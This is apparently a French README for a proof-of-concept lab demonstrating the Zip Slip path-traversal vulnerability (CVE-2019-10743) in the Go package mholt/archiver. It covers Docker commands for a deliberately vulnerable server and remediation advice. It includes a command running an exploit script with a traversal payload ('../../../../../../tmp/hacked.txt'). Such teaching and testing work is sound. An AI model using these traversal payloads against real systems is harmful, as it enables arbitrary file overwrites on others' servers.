
Exploit de preuve de concept démontrant la vulnérabilité Zip Slip (CVE-2019-10743) dans mholt/archiver, avec un serveur vulnérable et une charge utile Python pour les tests de traversée de chemin.
Ce projet démontre la vulnérabilité Zip Slip (CVE-2019-10743) en utilisant la version vulnérable du package mholt/archiver.
Zip Slip est une vulnérabilité découverte par les chercheurs en sécurité de Snyk. Il a été constaté que la vulnérabilité impacte plusieurs packages utilisés dans la nature. La vulnérabilité peut être exploitée pour entraîner des problèmes tels que :
| Attribut | Valeur |
|---|---|
| CVE | CVE-2019-10743 |
| Package | github.com/mholt/archiver |
| Versions vulnérables | >= 3.0.0, < 3.3.2 |
| Version corrigée | 3.3.2 |
| Score CVSS | 5.5 (Modéré) |
mholt/archiver est un package Go qui fournit une API simple et cohérente pour travailler avec des fichiers d'archives et des fichiers compressés. Il prend en charge des formats tels que .zip, .tar, .tar.gz, .7z ou .rar.
mholt/archiver../../../../../tmp/hacked.txt)# Start the vulnerable server
./docker-run.sh start
# Stop the server
./docker-run.sh stop
# View logs
./docker-run.sh logs
# Clean up
./docker-run.sh cleanup
Remarque : Assurez-vous que docker-run.sh a les droits d'exécution :
# Give execution rights
chmod +x ./docker-run.sh
Une fois le conteneur démarré et en cours d'exécution, vous pouvez utiliser une commande similaire à celle-ci pour accéder à l'environnement de test :
# Connect to the container that is running the application
docker exec -it zipslip-vulnerable-server /bin/bash
# Install Python dependencies
pip3 install -r requirements.txt
# Execute the payload
python3 test_exploit.py -p "../../../../../../tmp/hacked.txt" -c "You were pwned!"
Remarque : Les commandes doivent être exécutables à l'intérieur du conteneur.
-u, --url : URL du serveur (par défaut : http://localhost:8080)-z, --zip : Nom du fichier ZIP (par défaut : malicious_test.zip)-p, --path : Nom du fichier avec traversée de chemin (par défaut : ../../../malicious_escaped.txt)-c, --content : Contenu du fichierPour corriger cette vulnérabilité :
mholt/archiver version 3.3.2 ou ultérieure